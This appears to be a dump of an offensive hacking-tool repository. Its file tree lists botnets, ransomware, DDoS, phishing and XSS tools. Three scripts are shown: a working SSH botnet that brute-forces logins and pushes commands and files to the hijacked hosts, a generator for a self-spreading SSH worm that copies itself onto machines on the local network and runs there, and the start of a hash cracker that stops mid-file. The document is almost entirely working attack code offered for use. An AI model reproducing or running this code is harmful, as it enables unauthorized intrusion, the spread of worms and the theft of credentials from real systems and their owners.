├── Botnets
    ├── SquidNet.py
    ├── SquidNetSSH.py
    └── SquidWorm.py
├── Information Gathering
    ├── HashSquid.py
    ├── SquidFinder.py
    ├── SquidIPUtils.py
    ├── SquidLogger.py
    ├── SquidMap.py
    ├── SquidPhisher.py
    ├── SquidXSS.py
    └── XSSPayloads.txt
├── LICENSE
├── Malware
    ├── RansomSquid.py
    ├── RickRollWare.py
    ├── SquidBomb.py
    ├── SquidWare.py
    └── Squidinject.py
├── Network Related
    ├── SquidDDoS.py
    ├── SquidPoisoner.py
    ├── SquidSniffer.py
    ├── SquidSpammer.py
    ├── Wifi-PasswordObtainer(windows).py
    ├── WireSquid.py
    └── examplespambots.txt
├── README.md
├── Sample Client Scripts
    ├── SquidLoggerClient.py
    ├── SquidNetBot.py
    ├── SquidNetMaster.py
    └── SquidWorms.py
└── Vulnerable Scripts
    ├── VulnerableSQLSearchServ.py
    ├── VulnerableSQLServer.py
    └── VulnerableWebServer.py


/Botnets/SquidNetSSH.py:
--------------------------------------------------------------------------------
  1 | import paramiko, socket, threading, sys, os
  2 | from optparse import OptionParser
  3 | class SSH_Botnet:
  4 |     def __init__(self, passw_txt, capture_output):
  5 |         self.pass_list = passw_txt
  6 |         self.cwd = os.getcwd()
  7 |         self.passwords = self.configure_passwords()
  8 |         self.ssh_bots = []
  9 |         self.ips = []
 10 |         self.logo()
 11 |         self.usage()
 12 |         self.display_bots = []
 13 |         try:
 14 |             self.capture_output = bool(capture_output)
 15 |         except:
 16 |             self.capture_output = False
 17 |         self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 18 |         self.instructor = threading.Thread(target=self.instruct)
 19 |         self.instructor.start()
 20 |         self.ssh_botlist = []
 21 |     def logo(self):
 22 |         print("""
 23 |   _____             _     _ _   _      _    _____ _____ _    _        ___    ___  
 24 |  / ____|           (_)   | | \ | |    | |  / ____/ ____| |  | |      |__ \  / _ \ 
 25 | | (___   __ _ _   _ _  __| |  \| | ___| |_| (___| (___ | |__| | __   __ ) || | | |
 26 |  \___ \ / _` | | | | |/ _` | . ` |/ _ \ __|\___  \___ \|  __  | \ \ / // / | | | |
 27 |  ____) | (_| | |_| | | (_| | |\  |  __/ |_ ____) |___) | |  | |  \ V // /_ | |_| |
 28 | |_____/ \__, |\__,_|_|\__,_|_| \_|\___|\__|_____/_____/|_|  |_|   \_/|____(_)___/ 
 29 |            | |                                                                    
 30 |            |_|                                                                                                                                                              
 31 | SSH-Botnet By DrSquid                                                            """)
 32 |     def usage(self):
 33 |         print("""
 34 | [+] !help                     - Displays All Commands
 35 | [+] !login [ip] [user] [pass] - Attempts to Log into the ip with the user with the provided password.
 36 | [+] !infect [ip] [username]   - Attempts to break into the hostname with the ip provided.
 37 | [+] !inject [filename]        - Opens SFTP and uploads a file to the bots.
 38 | [+] !networkinfect [cfg]      - Attempts to infect all the devices on the network(optional cfg file)
 39 | [+] !clear                    - Clears all of the output of this script.
 40 | [+] Any other commands will be sent to the bots as cmd commands.
 41 |         """)
 42 |     def configure_passwords(self):
 43 |         file = open(self.pass_list,'r')
 44 |         passwords = file.readlines()
 45 |         return passwords
 46 |     def infect(self, ip, username):
 47 |         error_count = 0
 48 |         print(f"[+] Brute Forcing the Password for: {username}@{ip}")
 49 |         client = paramiko.SSHClient()
 50 |         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 51 |         flag = 0
 52 |         for password in self.passwords:
 53 |             try:
 54 |                 client = paramiko.SSHClient()
 55 |                 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 56 |                 passw = password.strip()
 57 |                 client.connect(ip, 22, username, passw, timeout=2, auth_timeout=2)
 58 |                 print(f"\n[!] {ip}'s Password has been found!: {passw}")
 59 |                 print(f"[!] Adding {username}@{ip} to the botnet.\n")
 60 |                 self.ips.append(ip)
 61 |                 self.display_bots.append(f"{username}@{ip}")
 62 |                 self.ssh_bots.append(client)
 63 |                 self.ssh_botlist.append(str(client)+' '+str(username))
 64 |                 flag = 1
 65 |                 break
 66 |             except Exception as e:
 67 |                 client.close()
 68 |         if flag == 0:
 69 |             print(f"[?] Unable to Brute Force password for {username}@{ip}")
 70 |     def inject(self, client, file):
 71 |         if "/" in file or "\\" in file:
 72 |             result = ""
 73 |             for letter in file:
 74 |                 if letter == "/" or letter == "\\":
 75 |                     result += " "
 76 |                 else:
 77 |                     result += letter
 78 |             split_result = result.split()
 79 |             file = split_result[(len(split_result)-1)]
 80 |             file_dir = ""
 81 |             for item in split_result:
 82 |                 if item == file:
 83 |                     pass
 84 |                 else:
 85 |                     file_dir = file_dir + item + "/"
 86 |             os.chdir(file_dir)
 87 |         for usernames in self.ssh_botlist:
 88 |             if str(client) in usernames:
 89 |                 split_item = usernames.split()
 90 |                 username = split_item[4]
 91 |         try:
 92 |             sftp = client.open_sftp()
 93 |             sftp.put(file, f'C:/{username}/{file}')
 94 |         except:
 95 |             sftp = client.open_sftp()
 96 |             sftp.put(file, f'/Users/{username}/{file}')
 97 |         os.chdir(self.cwd)
 98 |     def send_instruction(self, instruction):
 99 |         for bot in self.ssh_bots:
100 |             try:
101 |                 if self.capture_output:
102 |                     for usernames in self.ssh_botlist:
103 |                         if str(bot) in usernames:
104 |                             split_item = usernames.split()
105 |                             username = split_item[4]
106 |                     stdin, stdout, stderr = bot.exec_command(instruction, get_pty=True)
107 |                     stdin.close()
108 |                     output = stdout.read().decode()
109 |                     if output.strip() == "":
110 |                         pass
111 |                     else:
112 |                         print(f"\n[({username})]: {output.strip()}")
113 |                 else:
114 |                     bot.exec_command(instruction)
115 |             except:
116 |                 pass
117 |     def reg_login(self, ip, username, password):
118 |         try:
119 |             client = paramiko.SSHClient()
120 |             client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
121 |             print(f"[+] Attempting to login to {username}@{ip} with: {password}")
122 |             client.connect(ip, 22, username, password)
123 |             print(f"\n[!] Access Granted!")
124 |             print(f"[!] Adding {username}@{ip} to the Botnet.\n")
125 |             self.ssh_bots.append(client)
126 |             self.ssh_botlist.append(str(client) + ' ' + str(username))
127 |             self.display_bots.append(f"{username}@{ip}")
128 |         except Exception as e:
129 |             print("[+] Authentication Failed. Try to check your inputs.")
130 |     def network_infect(self, config_file=None):
131 |         if config_file != None:
132 |             Replicator = Worm(self.pass_list, config_file)
133 |         else:
134 |             Replicator = Worm(self.pass_list)
135 |     def instruct(self):
136 |         while True:
137 |             try:
138 |                 self.instruction = input("[+] Enter your instruction: ")
139 |                 if self.instruction.startswith("!infect"):
140 |                     msg_split = self.instruction.split()
141 |                     targ_ip = msg_split[1]
142 |                     user = msg_split[2]
143 |                     infector = threading.Thread(target=self.infect, args=(targ_ip, user))
144 |                     infector.start()
145 |                 elif self.instruction.startswith("!inject"):
146 |                     msg_split = self.instruction.split()
147 |                     filename = msg_split[1]
148 |                     for bot in self.ssh_bots:
149 |                         injector = threading.Thread(target=self.inject, args=(bot, filename))
150 |                         injector.start()
151 |                 elif self.instruction.startswith("!listbots"):
152 |                     print(f"[+] List of Bots: {self.display_bots}")
153 |                 elif self.instruction.startswith("!networkinfect"):
154 |                     msg_split = self.instruction.split()
155 |                     try:
156 |                         cfg_file = msg_split[1]
157 |                         network_infector = threading.Thread(target=self.network_infect, args=(cfg_file,))
158 |                         network_infector.start()
159 |                     except:
160 |                         network_infector = threading.Thread(target=self.network_infect)
161 |                         network_infector.start()
162 |                 elif self.instruction.startswith("!clear"):
163 |                     if sys.platform == "win32":
164 |                         os.system('cls')
165 |                     else:
166 |                         os.system('clear')
167 |                     self.logo()
168 |                     self.usage()
169 |                 elif self.instruction.startswith("!login"):
170 |                     msg_split = self.instruction.split()
171 |                     ip = msg_split[1]
172 |                     username = msg_split[2]
173 |                     password = msg_split[3]
174 |                     self.reg_login(ip,username,password)
175 |                 elif self.instruction.startswith("!help"):
176 |                     self.usage()
177 |                 else:
178 |                     sender = threading.Thread(target=self.send_instruction, args=(self.instruction,))
179 |                     sender.start()
180 |             except:
181 |                 pass
182 | class Worm:
183 |     def __init__(self, passw_file,cfg_file=None):
184 |         self.cfg_file = cfg_file
185 |         self.has_cfg = False
186 |         if self.cfg_file != None:
187 |             self.cfg_contents, self.ls_contents = self.cfg(self.cfg_file)
188 |         self.os_ls = ['windows','apple','linux']
189 |         self.ips = os.popen('arp -a').readlines()
190 |         self.possiblevictims = self.identify_victims()
191 |         self.passwords_cracked = 0
192 |         self.passwords_scanned = 0
193 |         self.passw_file = passw_file
194 |         self.victims = []
195 |         self.ips_scanned = 0
196 |         print(f"\n[+] List of Possible Hosts: {self.possiblevictims}")
197 |         print("[+] Initiating Port Scan.....")
198 |         self.passwords = self.obtain_passw()
199 |         self.port_scanner = threading.Thread(target=self.begin_port_scan)
200 |         self.port_scanner.start()
201 |     def cfg(self, filename):
202 |         file = open(filename, "r")
203 |         contents = file.read()
204 |         file.close()
205 |         file = open(filename, "r")
206 |         ls_contents = file.readlines()
207 |         file.close()
208 |         if "CFGFORWORM" in contents:
209 |             self.has_cfg = True
210 |             print("[+] A Config file has been provided.")
211 |             return contents, ls_contents
212 |         else:
213 |             return None
214 |     def initiate_threads(self):
215 |         self.laster = threading.Thread(target=self.output_item)
216 |         self.laster.start()
217 |         while True:
218 |             try:
219 |                 if self.ips_scanned == len(self.possiblevictims):
220 |                     if len(self.victims) == 0:
221 |                         print("\n[+] No Hosts with Port 22 Open.")
222 |                     else:
223 |                         for ip in self.victims:
224 |                             if self.has_cfg:
225 |                                 if ip in self.cfg_contents:
226 |                                     if ip not in self.victims:
227 |                                         print(f"[+] {ip} is in config file, but not in victim list.\n[+] Ignoring.........")
228 |                                     else:
229 |                                         for line in self.ls_contents:
230 |                                             if ip in line:
231 |                                                 try:
232 |                                                     ipcfg = line.split()
233 |                                                     try:
234 |                                                         username = ipcfg[1]
235 |                                                     except:
236 |                                                         username = "root"
237 |                                                 except:
238 |                                                     pass
239 |                                 else:
240 |                                     username = "root"
241 |                             else:
242 |                                 username = "root"
243 |                             victim = threading.Thread(target=self.victimlogin, args=(ip, username))
244 |                             victim.start()
245 |                     break
246 |             except:
247 |                 pass
248 |     def begin_port_scan(self):
249 |         for ip in self.possiblevictims:
250 |             try:
251 |                 print(f"\n[+] Scanning {ip}.....")
252 |                 portscanner = threading.Thread(target=self.port_scan, args=(ip,))
253 |                 portscanner.start()
254 |             except:
255 |                 pass
256 |         self.initiate_threads()
257 |     def port_scan(self, ip):
258 |         try:
259 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260 |             s.connect((ip, 22))
261 |             self.victims.append(ip)
262 |             print(f"\n[!] {ip} has 22 as an open Port.")
263 |         except:
264 |             print(f"\n[+] {ip} does not have 22 as an open port.")
265 |         s.close()
266 |         self.ips_scanned += 1
267 |     def obtain_passw(self):
268 |         with open(self.passw_file, "r") as file:
269 |             passwords = file.readlines()
270 |         return passwords
271 |     def identify_victims(self):
272 |         victims = []
273 |         if sys.platform == "win32":
274 |             for lines in self.ips:
275 |                 try:
276 |                     line = lines.split()
277 |                     ip = line[0]
278 |                     checker = int(ip[0])
279 |                     victims.append(ip)
280 |                 except:
281 |                     pass
282 |         elif sys.platform == "darwin":
283 |             for lines in self.ips:
284 |                 try:
285 |                     line = lines.split()
286 |                     ip = line[1]
287 |                     ip = ip.strip('()')
288 |                     checker = int(ip[0])
289 |                     victims.append(ip)
290 |                 except:
291 |                     pass
292 |         return victims
293 |     def output_item(self):
294 |         while True:
295 |             try:
296 |                 if self.passwords_scanned == len(self.victims):
297 |                     break
298 |             except:
299 |                 pass
300 |     def victimlogin(self, ip, username="root"):
301 |         client = paramiko.SSHClient()
302 |         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
303 |         print(f"[+] Attempting to Brute Force Password for IP: {ip}")
304 |         flag = 0
305 |         for password in self.passwords:
306 |             try:
307 |                 password = password.strip()
308 |                 client.connect(ip, 22, username, password)
309 |                 flag = 1
310 |                 break
311 |             except:
312 |                 pass
313 |         if flag == 1:
314 |             self.passwords_scanned += 1
315 |             print(f"\n[!] {ip}'s Password has been Cracked!: {password}")
316 |             print(f"[!] Adding {username}@{ip} to the Botnet.\n")
317 |             Botnet.ssh_bots.append(client)
318 |             Botnet.ssh_botlist.append(str(client) + ' ' + str(username))
319 |             Botnet.display_bots.append(f"{username}@{ip}")
320 |         else:
321 |             print(f"\n[?] {ip}'s Password was unable to be cracked.")
322 |             self.passwords_scanned += 1
323 | class OptionParse:
324 |     def __init__(self):
325 |         if len(sys.argv) < 2:
326 |             self.usage()
327 |         else:
328 |             self.get_args()
329 |     def usage(self):
330 |         SSH_Botnet.logo(None)
331 |         print("""
332 | [+] Option-Parsing Help:
333 | [+] --pL, --passlist - Specifies the Brute Forcing TxT File.
334 | [+] --cO, --captopt  - Specify whether to capture bot output or not.
335 | [+] --i,  --info     - Shows this message.
336 | 
337 | [+] Usage:""")
338 |         if sys.argv[0].endswith(".py"):
339 |             print("[+] python3 SquidNetSSH.py --pL <passlist> --cO <bool>")
340 |             print("[+] python3 SquidNetSSH.py --i")
341 |         else:
342 |             print("[+] SquidNetSSH --pL <passlist> --cO <bool>")
343 |             print("[+] SquidNetSSH --i")
344 |     def get_args(self):
345 |         self.opts = OptionParser()
346 |         self.opts.add_option("--pL","--passlist",dest="passlist")
347 |         self.opts.add_option("--cO", "--captopt", dest="captopt", action="store_true")
348 |         self.opts.add_option("--i","--info",dest="info",action="store_true")
349 |         args, opt = self.opts.parse_args()
350 |         if args.passlist is None:
351 |             self.usage()
352 |         else:
353 |             passlist = args.passlist
354 |         if args.captopt is None:
355 |             captopt = False
356 |         else:
357 |             captopt = True
358 |         Botnet = SSH_Botnet(passlist, captopt)
359 | optionparser = OptionParse()


--------------------------------------------------------------------------------
/Botnets/SquidWorm.py:
--------------------------------------------------------------------------------
  1 | from optparse import OptionParser
  2 | import os, sys
  3 | 
  4 | class OptionParse:
  5 |     def __init__(self):
  6 |         if len(sys.argv) < 2:
  7 |             self.usage()
  8 |         else:
  9 |             self.get_args()
 10 |     def genscript(self):
 11 |         script = """
 12 | import paramiko, os, socket, threading, sys, time
 13 | print('''
 14 |    _____             _     _     __          __                    __   ___  
 15 |   / ____|           (_)   | |    \ \        / /                   /_ | / _ \ 
 16 |  | (___   __ _ _   _ _  __| |_____\ \  /\  / /__  _ __ _ __ ___    | || | | |
 17 |   \___ \ / _` | | | | |/ _` |______\ \/  \/ / _ \| '__| '_ ` _ \   | || | | |
 18 |   ____) | (_| | |_| | | (_| |       \  /\  / (_) | |  | | | | | |  | || |_| |
 19 |  |_____/ \__, |\__,_|_|\__,_|        \/  \/ \___/|_|  |_| |_| |_|  |_(_)___/ 
 20 |             | |                                                              
 21 |             |_|                                                              
 22 | Script By DrSquid
 23 | This worm Spreads over local networks and exploits port 22.''')
 24 | class Marker:
 25 |     def __init__(self, ip="0.0.0.0", port=42069):
 26 |         self.ip = ip
 27 |         self.port = port
 28 |         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 29 |         self.sock.bind((self.ip, self.port))
 30 |         self.listener = threading.Thread(target=self.listen)
 31 |         self.listener.start()
 32 |     def listen(self):
 33 |         while True:
 34 |             try:
 35 |                 self.sock.listen()
 36 |                 conn, ip = self.sock.accept()
 37 |                 time.sleep(1)
 38 |                 conn.send("I have been infected with a worm.".encode())
 39 |                 conn.close()
 40 |             except:
 41 |                 pass
 42 | class Worm:
 43 |     def __init__(self, filetobecloned,victimfilename,passw_file,cfg_file=None):
 44 |         self.own_ip = "192.168.0.115"
 45 |         self.cfg_file = cfg_file
 46 |         self.has_cfg = False
 47 |         if self.cfg_file != None:
 48 |             self.cfg_contents, self.ls_contents = self.cfg(self.cfg_file)
 49 |         self.os_ls = ['windows','apple','linux']
 50 |         self.ips = os.popen('arp -a').readlines()
 51 |         self.possiblevictims = self.identify_victims()
 52 |         self.passwords_cracked = 0
 53 |         self.passwords_scanned = 0
 54 |         self.clonefile = filetobecloned
 55 |         self.fileonvictim = victimfilename
 56 |         self.passw_file = passw_file
 57 |         self.victims = []
 58 |         self.ips_scanned = 0
 59 |         print(f"[+] List of Possible Hosts: {self.possiblevictims}")
 60 |         print("[+] Do CRTL+C To stop the script.")
 61 |         print("\\n[+] Initiating Port Scan.....")
 62 |         self.passwords = self.obtain_passw()
 63 |         self.port_scanner = threading.Thread(target=self.begin_port_scan)
 64 |         self.port_scanner.start()
 65 |     def cfg(self, filename):
 66 |         file = open(filename, "r")
 67 |         contents = file.read()
 68 |         file.close()
 69 |         file = open(filename, "r")
 70 |         ls_contents = file.readlines()
 71 |         file.close()
 72 |         if "CFGFORWORM" in contents:
 73 |             self.has_cfg = True
 74 |             print("[+] A Config file has been provided.")
 75 |             return contents, ls_contents
 76 |         else:
 77 |             return None
 78 |     def initiate_threads(self):
 79 |         self.laster = threading.Thread(target=self.output_item)
 80 |         self.laster.start()
 81 |         while True:
 82 |             try:
 83 |                 if self.ips_scanned == len(self.possiblevictims):
 84 |                     if len(self.victims) == 0:
 85 |                         print("\\n[+] No Hosts with Port 22 Open.")
 86 |                     else:
 87 |                         for ip in self.victims:
 88 |                             if self.has_cfg:
 89 |                                 if ip in self.cfg_contents:
 90 |                                     if ip not in self.victims:
 91 |                                         print(f"[+] {ip} is in config file, but not in victim list.\n[+] Ignoring.........")
 92 |                                     else:
 93 |                                         for line in self.ls_contents:
 94 |                                             if ip in line:
 95 |                                                 try:
 96 |                                                     ipcfg = line.split()
 97 |                                                     try:
 98 |                                                         username = ipcfg[1]
 99 |                                                     except:
100 |                                                         username = "root"
101 |                                                     try:
102 |                                                         opsys = ipcfg[2]
103 |                                                         if opsys not in self.os_ls:
104 |                                                             opsys = "windows"
105 |                                                     except:
106 |                                                         opsys = "windows"
107 |                                                 except:
108 |                                                     pass
109 |                                 else:
110 |                                     username = "root"
111 |                                     opsys = "windows"
112 |                             else:
113 |                                 username = "root"
114 |                                 opsys = "windows"
115 |                             victim = threading.Thread(target=self.victimlogin, args=(ip, username, opsys))
116 |                             victim.start()
117 |                     break
118 |             except:
119 |                 pass
120 |     def begin_port_scan(self):
121 |         for ip in self.possiblevictims:
122 |             try:
123 |                 print(f"\\n[+] Scanning {ip}.....")
124 |                 portscanner = threading.Thread(target=self.port_scan, args=(ip,))
125 |                 portscanner.start()
126 |             except:
127 |                 pass
128 |         self.initiate_threads()
129 |     def port_scan(self, ip):
130 |         try:
131 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
132 |             s.connect((ip, 22))
133 |             self.victims.append(ip)
134 |             print(f"\\n[!] {ip} has 22 as an open Port.")
135 |         except:
136 |             print(f"\\n[+] {ip} does not have 22 as an open port.")
137 |         s.close()
138 |         self.ips_scanned += 1
139 |     def obtain_passw(self):
140 |         with open(self.passw_file, "r") as file:
141 |             passwords = file.readlines()
142 |         return passwords
143 |     def identify_victims(self):
144 |         victims = []
145 |         if sys.platform == "win32":
146 |             for lines in self.ips:
147 |                 try:
148 |                     line = lines.split()
149 |                     ip = line[0]
150 |                     checker = int(ip[0])
151 |                     victims.append(ip)
152 |                 except:
153 |                     pass
154 |         elif sys.platform == "darwin":
155 |             for lines in self.ips:
156 |                 try:
157 |                     line = lines.split()
158 |                     ip = line[1]
159 |                     ip = ip.strip('()')
160 |                     checker = int(ip[0])
161 |                     victims.append(ip)
162 |                 except:
163 |                     pass
164 |         return victims
165 |     def output_item(self):
166 |         while True:
167 |             try:
168 |                 pass
169 |             except:
170 |                 pass
171 |     def victimlogin(self, ip, username="root", opsys="windows"):
172 |         infected = False
173 |         try:
174 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
175 |             s.connect((ip,42069))
176 |             msg = s.recv(1024).decode()
177 |             s.close()
178 |             infected = True
179 |             self.passwords_cracked += 1
180 |             self.passwords_scanned += 1
181 |             print(f"[!] {ip} has already been infected!")
182 |         except:
183 |             infected = False
184 |         if not infected:
185 |             client = paramiko.SSHClient()
186 |             client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
187 |             print(f"[+] Attempting to Brute Force Password for IP: {ip}")
188 |             flag = 0
189 |             for password in self.passwords:
190 |                 try:
191 |                     password = password.strip()
192 |                     client.connect(ip, 22, username, password, auth_timeout=2)
193 |                     flag = 1
194 |                     break
195 |                 except:
196 |                     pass
197 |             if flag == 1:
198 |                 self.passwords_cracked += 1
199 |                 self.passwords_scanned += 1
200 |                 print(f"\\n[!] {ip}'s Password has been Cracked!: {password}")
201 |                 print(f"[!] Injecting file {self.clonefile} into Victim!")
202 |                 sftp = client.open_sftp()
203 |                 if opsys == 'apple':
204 |                     sftp.put(self.clonefile, f"/Users/{username}/{self.fileonvictim}")
205 |                     sftp.put(self.passw_file, f"/Users/{username}/{self.passw_file}")
206 |                     if self.has_cfg:
207 |                         sftp.put(self.cfg_file, f"/Users/{username}/{self.cfg_file}")
208 |                     print(f"[!] Successfully Started {self.clonefile} On {ip}")
209 |                     print(f"[+] If there is anything wrong with the connection, use: 'ssh {username}@{ip}' and procceed with: '{password}'")
210 |                     if self.fileonvictim.endswith('.py'):
211 |                         stdin, stdout, stderr = client.exec_command(
212 |                             f"python3 /Users/{username}/{self.fileonvictim}")
213 |                         stdin.close()
214 |                     else:
215 |                         stdin, stdout, stderr = client.exec_command(f"open /Users/{username}/{self.fileonvictim}")
216 |                         stdin.close()
217 |                 else:
218 |                     sftp.put(self.clonefile, f"C:/Users/{username}/{self.fileonvictim}")
219 |                     sftp.put(self.passw_file, f"C:/Users/{username}/{self.passw_file}")
220 |                     if self.has_cfg:
221 |                         sftp.put(self.cfg_file, f"C:/Users/{username}/{self.cfg_file}")
222 |                     print(f"[!] File May Have been started on {ip}(Cmd command may have not been passed).")
223 |                     print(f"[!] You can try logging into the Computer with cmd: ssh {username}@{ip}")
224 |                     print(f"[!] And proceed with Password: {password}")
225 |                     if self.fileonvictim.endswith('.py'):
226 |                         stdin, stdout, stderr = client.exec_command(
227 |                             f"python3 C:/Users/{username}/{self.fileonvictim}")
228 |                         stdin.close()
229 |                     else:
230 |                         stdin, stdout, stderr = client.exec_command(f"start /B C:/Users/{username}/{self.fileonvictim}")
231 |                         stdin.close()
232 |                 client.close()
233 |             else:
234 |                 print(f"\\n[?] {ip}'s Password was unable to be cracked.")
235 |                 self.passwords_scanned += 1
236 | marker = Marker()
237 | worm = Worm("""+self.filename+""", """+self.filename+""", """+self.passlist+""", """+self.config+""")
238 |         """
239 |         return script
240 |     def usage(self):
241 |         print("""
242 |    _____             _     _     __          __                    __   ___  
243 |   / ____|           (_)   | |    \ \        / /                   /_ | / _ \ 
244 |  | (___   __ _ _   _ _  __| |_____\ \  /\  / /__  _ __ _ __ ___    | || | | |
245 |   \___ \ / _` | | | | |/ _` |______\ \/  \/ / _ \| '__| '_ ` _ \   | || | | |
246 |   ____) | (_| | |_| | | (_| |       \  /\  / (_) | |  | | | | | |  | || |_| |
247 |  |_____/ \__, |\__,_|_|\__,_|        \/  \/ \___/|_|  |_| |_| |_|  |_(_)___/ 
248 |             | |                                                              
249 |             |_|                                                              
250 | Worm By DrSquid
251 | This worm Spreads over local networks and exploits port 22.
252 | 
253 | [+] Option-Parsing Help:
254 | [+] --pL, --passlist - Specifies the Brute-Forcing SSH File.
255 | [+] --cF, --config   - Specifies the config file for customized brute forcing.
256 | [+] --fN, --filename - Specifies the name of the file created once brute forcing is successful.
257 | 
258 | [+] Note: The file that goes onto the remote computer will be the worm.
259 | 
260 | [+] Optional Arguements:
261 | [+] --i,  --info   - Shows this message.
262 | 
263 | [+] Usage:""")
264 |         if sys.argv[0].endswith(".py"):
265 |             print("[+] python3 SquidWorm.py --pL <passlist> --fN <filename> --cf <cfgfile>")
266 |             print("[+] python3 SquidWorm.py --i")
267 |         else:
268 |             print("[+] SquidWorm --pL <passlist> --fN <filename> --cf <cfgfile>")
269 |             print("[+] SquidWorm --i")
270 |     def get_args(self):
271 |         self.opts = OptionParser()
272 |         self.opts.add_option("--pL","--passlist",dest="passlist")
273 |         self.opts.add_option("--cF","--config",dest="config")
274 |         self.opts.add_option("--fN","--filename",dest="filename")
275 |         self.opts.add_option("--i","--info",dest="info",action="store_true")
276 |         args, opt = self.opts.parse_args()
277 |         if args.info is not None:
278 |             self.usage()
279 |         else:
280 |             pass
281 |         if args.passlist is None:
282 |             self.usage()
283 |         else:
284 |             self.passlist = args.passlist
285 |         if args.config is None:
286 |             self.config = None
287 |         else:
288 |             self.config = args.config
289 |         if args.filename is None:
290 |             self.filename = "Worm.py"
291 |         else:
292 |             self.filename = args.filename
293 |         script = self.genscript()
294 |         file = open(self.filename,"w")
295 |         file.write(script)
296 |         file.close()
297 |         os.startfile(file.name)
298 | optionparse = OptionParse()


--------------------------------------------------------------------------------
/Information Gathering/HashSquid.py:
--------------------------------------------------------------------------------
  1 | import hashlib, threading, time, sys
  2 | from optparse import OptionParser
  3 | from string import ascii_letters, digits, punctuation
  4 | from itertools import product
  5 | class Hashcracker:
  6 |     def __init__(self, hash ,hashType, passfile, nofile, passdigits, combolist):
  7 |         self.start = time.time()
  8 |         self.hash = hash
  9 |         self.stop = False
 10 |         self.logo()
 11 |         self.combolist = combolist
 12 |         self.nofile = nofile
 13 |         self.passdigits = passdigits
 14 |         try:
 15 |             self.passlist = open(passfile, 'r')
 16 |         except:
 17 |             if not self.nofile:
 18 |                 print("[+] Password list provided is invalid.")
 19 |                 sys.exit()
 20 |         self.checked = 0
 21 |         if "md5" in hashType:
 22 |             self.hashtype = hashlib.md5
 23 |         elif "sha1" in hashType:
 24 |             self.hashtype = hashlib.sha1
 25 |         elif "sha224" in hashType:
 26 |             self.hashtype = hashlib.sha224
 27 |         elif "sha256" in hashType:
 28 |             self.hashtype = hashlib.sha256
 29 |         elif "sha384" in hashType:
 30 |             self.hashtype = hashlib.sha384
 31 |         elif "sha512" in hashType:
 32 |             self.hashtype = hashlib.sha512
 33 |         else:
 34 |             print("[+] Invalid hashing method.")
 35 |             sys.exit()
 36 |         if self.nofile:
 37 |             print("[+] The hash cracking may take time, depending on the length of the password.")
 38 |             self.crackit = threading.Thread(target=self.nofile_cracker)
 39 |         else:
 40 |             self.crackit = threading.Thread(target=self.cracker)
 41 |         self.crackit.start()
 42 |     def save_hash(self,hash,realdef):
 43 |         file = open(hash+".txt","w")
 44 |         file.write(f"{hash}:{realdef}")
 45 |         file.close()
 46 |     def logo(self):
 47 |         print("""
 48 |   ___ ___               .__      _________            .__    .___       ________     _______   
 49 |  /   |   \_____    _____|  |__  /   _____/ ________ __|__| __| _/ ___  _\_____  \    \   _  \  
 50 | /    ~    \__  \  /  ___/  |  \ \_____  \ / ____/  |  \  |/ __ |  \  \/ //  ____/    /  /_\  \ 
 51 | \    Y    // __ \_\___ \|   Y  \/        < <_|  |  |  /  / /_/ |   \   //       \    \  \_/   \\
 52 |  \___|_  /(____  /____  >___|  /_______  /\__   |____/|__\____ |    \_/ \_______ \ /\ \_____  /
 53 |        \/      \/     \/     \/        \/    |__|             \/                \/ \/       \/ 
 54 | Hash-Cracker by DrSquid""")
 55 |     def display_packet(self, hash, string):
 56 |         end = time.time()
 57 |         return f"""[!] Hash has been cracked!
 58 | [!] Hash: {hash} String: {string.strip()}
 59 | [!] Passwords checked: {self.checked}
 60 | [!] Time elapsed: {end - self.start}"""
 61 |     def nofile_cracker(self):
 62 |         success = False
 63 |         for passcode in product(self.combolist, repeat=self.passdigits):
 64 |             new_passcode = ""
 65 |             for i in passcode:
 66 |                 new_passcode += i
 67 |             if str(self.hashtype(new_passcode.encode()).hexdigest()) == self.hash:
 68 |                 success = True
 69 |                 print(self.display_packet(self.hash, new_passcode))
 70 |                 self.save_hash(self.hash,new_passcode)
 71 |                 input("[!] Press enter to exit.")
 72 |                 break
 73 |             else:
 74 |                 self.checked += 1
 75 |         if not success:
 76 |             print(f"[?] Unable to crack Hash: {self.hash}")
 77 |     def cracker(self):
 78 |         success = False
 79 |         while True:
 80 |             try:
 81 |                 for line in self.passlist:
 82 |                     if self.hashtype(line.strip().encode()).hexdigest() == self.hash:
 83 |                         print(self.display_packet(self.hash, line.strip()))
 84 |                         self.save_hash(self.hash,line.strip())
 85 |                         success = True
 86 |                         input("[!] Press enter to exit.")
 87 |                         break
 88 |                     else:
 89 |                         self.checked += 1
 90 |                 if not success:
 91 |                     print(f"[?] Unable to crack Hash: {self.hash}")
 92 |                 break
 93 |             except Exception as e:
 94 |                 pass
 95 | class OptionParse:
 96 |     def __init__(self):
 97 |         if len(sys.argv) < 3:
 98 |             self.usage()
 99 |         else:
100 |             self.get_args()
101 |     def usage(self):
102 |         Hashcracker.logo(None)
103 |         print("""
104 | [+] Option-Parsing Help:
105 | [+] --h,  --hash        - Specifies the Hash to crack.
106 | [+] --hT, --hashtype    - Specifies Hash type(default is md5).
107 | 
108 | [+] With Brute Force File:
109 | [+] --pL, --passlist    - Specifies the Brute Forcing TxT File.
110 | 
111 | [+] Without Brute Force File:
112 | [+] --nF, --nofile      - Makes the script use computing power rather than a txt file to crack a hash.
113 | [+] --pD, --passdigits  - Specify the amount of digits the password contains(default is 6).
114 | [+] --oL, --onlyletters - Makes the no file brute forcing brute force through only letter passwords.
115 | [+] --oN, --onlynumbers - Makes the no file brute forcing brute force through only number passwords.
116 | 
117 | [+] Optional Arguements:
118 | [+] --i,  --info   - Shows this message.
119 | 
120 | [+] Usage:""")
121 |         if sys.argv[0].endswith(".py"):
122 |             print("[+] python3 HashSquid.py --h <hash> --hT <hashtype> --pL <passlist>")
123 |             print("[+] python3 HashSquid.py --i")
124 |         else:
125 |             print("[+] HashSquid --h <hash> --hT <hashtype> --pL <passlist>")
126 |             print("[+] HashSquid --i")
127 |     def get_args(self):
128 |         self.opts = OptionParser()
129 |         self.opts.add_option("--h","--hash",dest="hash")
